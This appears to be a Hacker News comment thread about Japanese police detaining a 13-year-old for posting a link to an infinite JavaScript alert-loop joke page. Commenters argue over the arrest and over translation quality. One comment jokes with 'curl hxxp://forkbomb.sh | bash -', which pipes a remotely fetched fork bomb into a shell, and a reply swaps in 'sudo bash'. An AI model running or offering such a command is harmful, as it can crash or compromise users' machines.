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Japanese police arrested a 13yo girl for posting an infinite loop code

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"The police who found the writing examined the connection record of the Internet and guided it on the 4th."

Should be:

"The police who found the posting examined the logs, and placed the girl under protective custody on the 4th."

"In addition, I suspected that he wrote the same address on another bulletin board, he also searched the house of each man's unemployed man in Yamaguchi prefecture, an unemployed man and a man of a 47-year-old construction worker in Kagoshima prefecture."

Rather:

"Also, on the suspicion of having posted the same address to different bulletin boards, the police searched the respective residences of a 39-year-old unemployed man from Yamaguchi Prefecture and a 47-year-old construction worker from Kagoshima Prefecture."

Being able to read Japanese to some extent (and browser extensions/dictionaries help for the remainder), I rarely read full-text automatic translations. In fact, last time was years ago. I thought they had made progress. Man was I wrong.

Sadly, the translate didn't quite make clear the nature of the arrest.

Did the student in question merely share the code, or did they execute the code on a machine intended to display useful information? If the latter, it's basic vandalism and completely arrest-worthy.

Did some more reading on this and she posted a link to a site that contained more or less the following: for (;;) { window.alert("...") }

posted a link thats it....

How is that arrest worthy sigh...

Please correct me, they called the police to arrest a teenager because are horrible programmers? I won't justify the girl, but in that case I should say, do a favour, debug it and shut up.

The girl wasn't even a programmer. All she did was post a link to a joke site that shows infinite alert dialogs, which reportedly isn't even a problem with modern browsers.

Any modern browser will show a checkbox on the second alert dialog to disallow further dialogs.

Maybe this explains it:

https://www.economist.com/asia/2017/05/18/as-crime-dries-up-...

Japan has not much crime and a lot of police.

I guess a more appropriate title would be "Japanese police arrested a 13yo girl for posting a link to a joke site showing infinite alert dialogs."

Sadly, while `forkbomb.sh` is registered, `curl hxxp://forkbomb.sh | bash -` doesn't do what you might hope.

s/bash/sudo bash/

Ftfy.

What? Can anyone explain just what this kid has done wrong?

Cheers, some kid

I think this is the link to the leet sploit -

http://j5qr.qr.ai

People seem to have downvoted you, but I think your comment does add to the discussion.

Readers on HN should be able to figure out how to close a browser window.

Every browser I've used (chrome, firefox) for quite a while (years?) has had "Prevent this page from making additional dialogs" as an option after the second or third alert.

Who is having problems closing pages like this? What browser are they using?

I managed to easily close the browser tab in Firefox for Android

The link gives me 404.

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